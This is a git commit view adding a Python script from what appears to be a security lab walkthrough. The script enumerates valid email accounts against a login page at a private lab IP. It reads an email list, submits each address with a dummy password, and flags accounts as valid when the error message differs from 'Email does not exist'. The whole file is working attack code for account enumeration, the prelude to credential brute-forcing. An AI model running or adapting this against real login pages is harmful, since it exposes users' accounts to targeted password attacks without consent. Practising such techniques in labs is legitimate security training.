initial commit
This commit is contained in:
59
Walkthroughs/EnumerationAndBruteforce/email_enumeration.py
Normal file
59
Walkthroughs/EnumerationAndBruteforce/email_enumeration.py
Normal file
@@ -0,0 +1,59 @@
|
||||
import requests
|
||||
import sys
|
||||
|
||||
def check_mail(email):
|
||||
url = 'http://10.10.248.22/labs/verbose_login/functions.php'
|
||||
headers = {
|
||||
'Host': '10.10.248.22',
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'X-Requested-With': 'XMLHttpRequest',
|
||||
'Origin': 'http://10.10.248.22',
|
||||
'Connection': 'close',
|
||||
'Referer': 'http://10.10.248.22/labs/verbose_login/',
|
||||
}
|
||||
data = {
|
||||
'username': email,
|
||||
'password': 'password',
|
||||
'function': 'login'
|
||||
}
|
||||
|
||||
response = requests.post(url, headers=headers, data=data)
|
||||
return response.json()
|
||||
|
||||
def enumerate_emails(email_file):
|
||||
|
||||
valid_emails = []
|
||||
invalid_error = "Email does not exist"
|
||||
|
||||
with open(email_file, 'r') as file:
|
||||
emails = file.readlines()
|
||||
|
||||
for email in emails:
|
||||
email = email.strip()
|
||||
if email:
|
||||
response_json = check_mail(email)
|
||||
if response_json['status'] == 'error' and response_json['message'] == invalid_error:
|
||||
print(f"Invalid: {email}")
|
||||
else:
|
||||
print(f"Valid: {email}")
|
||||
valid_emails.append(email)
|
||||
|
||||
return valid_emails
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print("Usage: python3 email_enumeration.py <email_file>")
|
||||
sys.exit(1)
|
||||
|
||||
email_file = sys.argv[1]
|
||||
|
||||
valid_emails = enumerate_emails(email_file)
|
||||
|
||||
print("Valid emails found\n")
|
||||
for email in valid_emails:
|
||||
print(email)
|
||||
Reference in New Issue
Block a user